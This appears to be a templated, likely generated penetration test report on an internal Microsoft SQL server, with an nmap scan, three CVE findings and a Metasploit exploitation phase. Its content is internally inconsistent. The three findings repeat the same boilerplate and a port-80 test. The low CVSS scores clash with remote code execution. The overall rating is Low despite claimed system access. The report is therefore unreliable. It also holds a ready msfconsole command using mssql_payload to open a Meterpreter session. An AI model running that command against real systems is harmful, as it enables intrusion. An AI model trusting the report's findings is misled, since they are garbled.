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3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
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Next Steps:
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- Address critical vulnerabilities within 24 hours
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- Remediate high risk findings within 7 days
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- Schedule retesting after fixes are implemented
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- Conduct developer security training focusing on OWASP Top 10
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--- END REPORT ---
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=== Automated Penetration Test Report ===
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Test ID: PT-2025-05-11-0003
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Date: 2025-05-11 19:07:18
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Tester: kwilson
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Organization: CyberShield Inc
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Confidentiality: STRICTLY CONFIDENTIAL
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Test Objective: evaluate attack surface of the Microsoft SQL database server (10.133.126.227)
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Scope: Internal security assessment
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Rules of Engagement: Standard
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=== Discovery Phase ===
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Tester: nmap -sV -O --script=banner -p1433,1434 10.133.126.227
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Tool Output:
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Starting Nmap 7.92 at 2025-05-11 19:07:18
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Nmap scan report for 10.133.126.227
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Host is up (0.40s latency).
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MAC Address: A2:E2:89:CF:F3:B6 (Arista)
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1433/tcp open ms-sql-s Microsoft SQL Server 2019
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1434/tcp open ms-sql-s Microsoft SQL Server 2019
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OS details: Windows Server 2019
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OS CPE: cpe:/o:microsoft:windows_server_2019:-
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Network Distance: 2 hops
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Service Info: Hostname: sql-backend-02
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Nmap done: 1 IP address (1 host up) scanned in 21 seconds
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=== Vulnerability Assessment ===
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Tools used:
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- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection
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- Burp Suite: Manual testing, session analysis, and business logic flaw identification
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- Nmap scripts: Service enumeration and vulnerability verification
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- Metasploit: Exploit verification and proof-of-concept testing
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## Vulnerability 1: CVE-2020-0618 (RCE via SQL Reporting Services)
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CVE: CVE-2020-0618
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CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2)
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Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
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Test Method: nmap --script vuln -p80 10.133.126.227
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Result:
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Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile.
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Remediation: See vendor documentation
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## Vulnerability 2: CVE-2019-1068 (Elevation of Privilege - SQL Server)
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CVE: CVE-2019-1068
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CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4)
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Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
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Test Method: nmap --script vuln -p80 10.133.126.227
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Result:
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Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile.
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Remediation: See vendor documentation
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## Vulnerability 3: CVE-2021-1636 (RCE via TDS Protocol)
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CVE: CVE-2021-1636
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CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3)
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Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
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Test Method: nmap --script vuln -p80 10.133.126.227
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Result:
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Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile.
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Remediation: See vendor documentation
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=== Exploitation Phase ===
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Tool: Metasploit Framework 6.1
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Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 10.133.126.227; set RPORT 1433; exploit"
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Output:
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[*] Exploiting known vulnerabilities:
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- CVE-2021-1636 (CVE-2021-1636)
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- CVE-2020-0618 (CVE-2020-0618)
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- CVE-2019-1068 (CVE-2019-1068)
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[*] Started reverse TCP handler on port 1433
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[*] Sending payload...
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[*] Sending stage (566 bytes)
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[*] Meterpreter session 10 opened
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[*] Session established
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[*] Gained system access
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[*] Connected to 10.133.126.227
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[*] Post-exploitation modules available:
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- mssql_enum
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- mssql_sql
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- mssql_exec
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=== Final Assessment ===
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Overall Risk Rating: Low
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Confidence Level: Low
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